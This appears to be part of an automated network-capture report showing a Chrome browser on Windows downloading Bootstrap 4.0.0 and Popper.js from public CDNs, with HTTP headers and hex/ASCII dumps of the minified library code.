2024-08-28 13:08:19 UTC	1369	IN	Data Raw: 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 66 28 6e 26 26 50 28 6e 29 2e 68 61 73 43 6c 61 73 73 28 Data Ascii: tring"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];if(n&&P(n).hasClass(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49711	104.18.10.207	443	4084	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 13:08:19 UTC	533	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 13:08:19 UTC	947	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 13:08:19 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 01/15/2024 23:55:45 CDN-EdgeStorageId: 845 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: 127ebfc7b1202ea45d8c4e9ae0b5c9da CDN-Cache: HIT CF-Cache-Status: HIT Age: 14505995 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8ba48785fc835e86-EWR alt-svc: h3=":443"; ma=86400
2024-08-28 13:08:19 UTC	422	IN	Data Raw: 37 63 30 30 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7c00/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2024-08-28 13:08:19 UTC	1369	IN	Data Raw: 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2e 6b 65 79 2c 69 Data Ascii: ery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i
2024-08-28 13:08:19 UTC	1369	IN	Data Raw: 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 6c 65 6d 65 6e 74 28 6f 29 3f 22 65 6c 65 6d 65 6e 74 22 3a Data Ascii: igger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isElement(o)?"element":
2024-08-28 13:08:19 UTC	1369	IN	Data Raw: 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 29 7d 2c 65 2e 5f Data Ascii: ;return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._destroyElement(t)},e._
2024-08-28 13:08:19 UTC	1369	IN	Data Raw: 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 Data Ascii: )}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._element.setAttribute("aria
2024-08-28 13:08:19 UTC	1369	IN	Data Raw: 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 70 72 65 76 22 2c 79 3d 7b 41 43 54 49 56 45 3a 22 2e Data Ascii: LEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-item-prev",y={ACTIVE:".
2024-08-28 13:08:19 UTC	1369	IN	Data Raw: 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e 64 28 79 2e 41 43 54 49 56 45 5f 49 54 45 4d 29 5b 30 5d 3b Data Ascii: ull),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).find(y.ACTIVE_ITEM)[0];
2024-08-28 13:08:19 UTC	1369	IN	Data Raw: 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 42 79 44 69 72 65 63 74 Data Ascii: .test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)},C._getItemByDirect
2024-08-28 13:08:19 UTC	1369	IN	Data Raw: 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 67 2b 22 20 22 2b 73 2b 22 20 Data Ascii: rget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).removeClass(g+" "+s+"
2024-08-28 13:08:19 UTC	1369	IN	Data Raw: 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 73 65 22 2c 6e 3d 22 62 73 2e 63 6f 6c 6c 61 70 73 65 22 2c Data Ascii: {t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collapse",n="bs.collapse",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49715	104.17.25.14	443	4084	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 13:08:19 UTC	539	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 13:08:19 UTC	959	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 13:08:19 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 1291502 Expires: Mon, 18 Aug 2025 13:08:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M9tHnQLOcquaHna6lsFEgtGGPhKAXErOjNwh%2BZWrYngUISc09yk60gO%2BDwn5QNHO93OSnwDEppk0P67Rfqk7ZUTU8CbdwUHEcYNNKeVSxHpmgxwsgbJ%2FzcWCcKY93zRuFotFZ5OA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ba487860fb21993-EWR alt-svc: h3=":443"; ma=86400
2024-08-28 13:08:19 UTC	410	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-08-28 13:08:19 UTC	1369	IN	Data Raw: 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 Data Ascii: e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document'
2024-08-28 13:08:19 UTC	1369	IN	Data Raw: 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 Data Ascii: var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['borde
2024-08-28 13:08:19 UTC	1369	IN	Data Raw: 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 62 7d 72 65 74 75 72 6e Data Ascii: :p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=b}return
2024-08-28 13:08:19 UTC	1369	IN	Data Raw: 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 77 69 64 Data Ascii: ht:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var t=e.wid
2024-08-28 13:08:19 UTC	1369	IN	Data Raw: 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 3d 7b 69 6e 73 74 61 6e Data Ascii: .warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e={instan
